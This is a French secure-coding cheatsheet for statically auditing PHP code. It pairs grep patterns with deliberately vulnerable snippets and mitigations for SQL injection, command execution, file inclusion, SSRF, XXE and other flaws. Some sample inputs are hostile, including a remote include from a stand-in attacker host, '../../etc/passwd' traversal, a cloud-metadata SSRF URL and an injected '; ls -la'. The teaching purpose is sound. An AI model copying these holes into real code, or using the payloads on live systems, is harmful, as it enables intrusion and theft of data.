Aller au contenu

PHP

Objectif : Identifier rapidement les points potentiellement vulnérables dans une base de code PHP lors d'un audit de sécurité statique (SAST - Static Application Security Testing). Cette cheatsheet se concentre sur des fonctions et des patterns connus pour être souvent sources de vulnérabilités.

Note : L'audit statique doit être complété par un audit dynamique et une compréhension du contexte d'exécution. La présence d'une fonction listée ici n'implique pas automatiquement une vulnérabilité si les entrées sont correctement validées et échappées.


⚙️ Outils d'Analyse Statique (SAST) pour PHP

Avant de chercher manuellement, envisagez d'utiliser des outils SAST qui automatisent une partie de la détection :


🎯 Recherche Manuelle par Type de Vulnérabilité (grep)

(Exécutez ces commandes à la racine du code source)

💉 Injection SQL (SQLi)

  • Recherche : Fonctions exécutant des requêtes sans préparation adéquate.
    1
    2
    3
    4
    5
    6
    # Fonctions de base de données classiques (ex: mysqli, pdo)
    grep -RinE --include=*.php '(mysqli_query|query\(|->query\(|execute\(|->execute\()' .
    # Fonctions PDO spécifiques (prepare est bien, mais vérifier comment les variables sont liées)
    grep -RinE --include=*.php 'prepare\(|->prepare\(' .
    # Recherche de concaténation directe de variables dans les requêtes
    grep -RinE --include=*.php 'SELECT .*[\$\_](GET|POST|REQUEST|COOKIE)|INSERT .*[\$\_](GET|POST|REQUEST|COOKIE)|UPDATE .*[\$\_](GET|POST|REQUEST|COOKIE)|DELETE .*[\$\_](GET|POST|REQUEST|COOKIE)' .
    
  • Exemple Vulnérable :
    1
    2
    3
    4
    <?php
    $id = $_GET['id'];
    $result = $mysqli->query("SELECT * FROM products WHERE id = " . $id); // Injection possible ici
    ?>
    
  • Mitigation : Utiliser systématiquement les requêtes préparées (Prepared Statements) avec mysqli_prepare / bind_param / execute ou PDO (prepare, bindParam/bindValue, execute).

🛰️ Exécution de Commandes (RCE - Remote Code Execution)

  • Recherche : Fonctions exécutant des commandes système ou interprétant du code.
    1
    2
    3
    grep -RinE --include=*.php '(system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec|`.*`|eval|assert|create_function|include|require|include_once|require_once)' .
    # Spécifiquement pour les backticks (opérateur d'exécution)
    grep -Rin --include=*.php '`' .
    
  • Exemple Vulnérable (shell_exec) :
    1
    2
    3
    4
    <?php
    $cmd = $_GET['cmd'];
    echo shell_exec('ping -c 3 ' . $cmd); // RCE via injection de commande (ex: ; ls -la)
    ?>
    
  • Exemple Vulnérable (eval) :
    1
    2
    3
    4
    <?php
    $code = $_GET['code'];
    eval("\$result = " . $code . ";"); // RCE directe si $code contient du PHP malveillant
    ?>
    
  • Mitigation : Éviter autant que possible ces fonctions avec des entrées utilisateur. Si nécessaire, utiliser escapeshellarg() ou escapeshellcmd() (avec prudence, ne protège pas de tout) et valider très strictement les entrées (liste blanche). Éviter eval, assert, create_function avec des données externes.

🪂 Inclusion de Fichiers (LFI/RFI - Local/Remote File Inclusion)

  • Recherche : Fonctions incluant des fichiers basés sur une entrée.
    1
    2
    3
    grep -RinE --include=*.php '(include|require|include_once|require_once)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
    # Fonctions de lecture de fichiers pouvant mener à LFI ou Directory Traversal
    grep -RinE --include=*.php '(file_get_contents|fopen|file|readfile)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
    
  • Exemple Vulnérable (LFI) :
    1
    2
    3
    4
    <?php
    $page = $_GET['page'];
    include($page . '.php'); // LFI possible avec ../../.. ou wrappers php://
    ?>
    
  • Exemple Vulnérable (RFI - si allow_url_include=On) :
    1
    2
    3
    4
    <?php
    $module = $_GET['module'];
    include($module); // RFI possible si $module = [http://attaquant.com/shell.txt](https://www.google.com/search?q=http://attaquant.com/shell.txt)
    ?>
    
  • Mitigation : Ne jamais inclure de fichiers basés directement sur une entrée utilisateur. Utiliser une liste blanche (whitelist) de fichiers autorisés. Désactiver allow_url_fopen et allow_url_include dans php.ini si possible. Utiliser basename() ou valider strictement le chemin.

🚶 Directory Traversal

  • Recherche : Utilisation de fonctions de fichiers avec des chemins potentiellement contrôlés par l'utilisateur.
    grep -RinE --include=*.php '(fopen|file_get_contents|file_put_contents|readfile|unlink|copy|rename|mkdir|rmdir|scandir|glob)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
    
  • Exemple Vulnérable :
    1
    2
    3
    4
    <?php
    $filename = $_GET['file'];
    $content = file_get_contents('/var/www/app/user_files/' . $filename); // Traversal possible avec $filename = ../../etc/passwd
    ?>
    
  • Mitigation : Valider et nettoyer les chemins (basename()), vérifier que le chemin résolu (realpath()) reste dans le répertoire attendu (chroot virtuel).

🧁 Cross-Site Scripting (XSS)

  • Recherche : Affichage direct de données utilisateur sans échappement HTML.
    grep -RinE --include=*.php '(echo|print|<\?=)[\s\(]*[\$\_](GET|POST|REQUEST|COOKIE)' .
    
  • Exemple Vulnérable :
    1
    2
    3
    4
    <?php
    $name = $_GET['name'];
    echo "<h1>Bonjour, " . $name . "</h1>"; // XSS possible si name contient <script>alert(1)</script>
    ?>
    
  • Mitigation : Utiliser htmlspecialchars($variable, ENT_QUOTES, 'UTF-8') ou des moteurs de template sécurisés (Twig, Blade) qui échappent par défaut. Définir l'en-tête Content-Security-Policy.

📤 File Upload Vulnerabilities

  • Recherche : Traitement des fichiers uploadés ($_FILES).
    grep -Rin --include=*.php '\$_FILES\[' .
    grep -RinE --include=*.php '(move_uploaded_file|copy)\s*\(?.*[\$\_]FILES' .
    
  • Points à vérifier :
    • Validation du type de fichier (MIME type $_FILES['userfile']['type'] n'est pas fiable, vérifier l'extension et idéalement le contenu/magic bytes).
    • Validation de la taille ($_FILES['userfile']['size']).
    • Contrôle du nom de fichier (éviter les .., les extensions multiples shell.php.jpg, générer un nom aléatoire).
    • Stockage des fichiers uploadés en dehors du webroot ou avec des permissions très restrictives (pas d'exécution).
    • Utilisation de move_uploaded_file() plutôt que copy().
  • Mitigation : Valider type, taille, nom. Renommer les fichiers. Stocker hors webroot ou configurer le serveur web pour ne pas exécuter de code dans le dossier d'upload.

🔓 Insecure Deserialization

  • Recherche : Utilisation de la fonction unserialize() sur des données contrôlées par l'utilisateur.
    grep -RinE --include=*.php 'unserialize\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
    
  • Exemple Vulnérable :
    1
    2
    3
    <?php
        $user_data = unserialize($_COOKIE['userdata']); // Dangereux si le cookie peut être manipulé
    ?>
    
  • Mitigation : Ne jamais utiliser unserialize() sur des données non fiables. Préférer JSON (json_decode/json_encode) ou d'autres formats sérialisés sûrs. Si unserialize est inévitable, utiliser l'option allowed_classes (PHP 7+).

🔗 Server-Side Request Forgery (SSRF)

  • Recherche : Fonctions effectuant des requêtes HTTP/fichier basées sur une entrée utilisateur.
    grep -RinE --include=*.php '(curl_exec|file_get_contents|fsockopen|fopen)\s*\(?.*[\$\_](GET|POST|REQUEST|COOKIE)' .
    
  • Exemple Vulnérable :
    1
    2
    3
    4
    <?php
    $url = $_GET['url'];
    $content = file_get_contents($url); // SSRF si $url = [http://169.254.169.254/latest/meta-data/](https://www.google.com/search?q=http://169.254.169.254/latest/meta-data/) ou file:///etc/passwd
    ?>
    
  • Mitigation : Valider strictement les URL (liste blanche de domaines/IPs autorisés). Ne pas autoriser les schémas file://, gopher://, etc. Configurer des pare-feux pour limiter les requêtes sortantes du serveur.

🏛️ XML External Entity (XXE)

  • Recherche : Traitement de fichiers XML avec des parseurs potentiellement mal configurés.
    grep -RinE --include=*.php '(simplexml_load_string|simplexml_load_file|DOMDocument->load|DOMDocument->loadXML|xml_parse)' .
    
  • Exemple Vulnérable (avant PHP 8) :
    1
    2
    3
    4
    5
    6
    <?php
    libxml_disable_entity_loader(false); // Active le chargement des entités externes (DANGEREUX)
    $xml = $_POST['xml'];
    $dom = new DOMDocument();
    $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // XXE possible
    ?>
    
  • Mitigation : Désactiver le chargement des entités externes : libxml_disable_entity_loader(true); (par défaut depuis PHP 8.0). Utiliser LIBXML_NONET lors du parsing si possible.

⚖️ Comparaisons Faibles (Weak Type Comparison)

  • Recherche : Utilisation de == au lieu de === pour des comparaisons, surtout avec des fonctions comme strcmp, strpos, ou lors de vérifications d'authentification/autorisation.
    grep -RinE --include=*.php '\s==\s' . # Très générique, affinage nécessaire
    grep -RinE --include=*.php '(strcmp|strpos)\s*\(.*?\)\s*==\s*0' . # strcmp/strpos peuvent retourner 0 ou false
    
  • Exemple Vulnérable (strcmp) :
    1
    2
    3
    4
    5
    6
    7
    <?php
    // Si $password est un tableau envoyé par l'attaquant (ex: password[]=), strcmp retourne NULL.
    // NULL == 0 est TRUE en comparaison faible !
    if (strcmp($_POST['password'], $stored_password) == 0) {
    echo "Login réussi!";
    }
    ?>
    
  • Mitigation : Utiliser la comparaison stricte === qui vérifie aussi le type. Pour strcmp, vérifier explicitement strcmp(...) === 0. Pour strpos, vérifier strpos(...) !== false.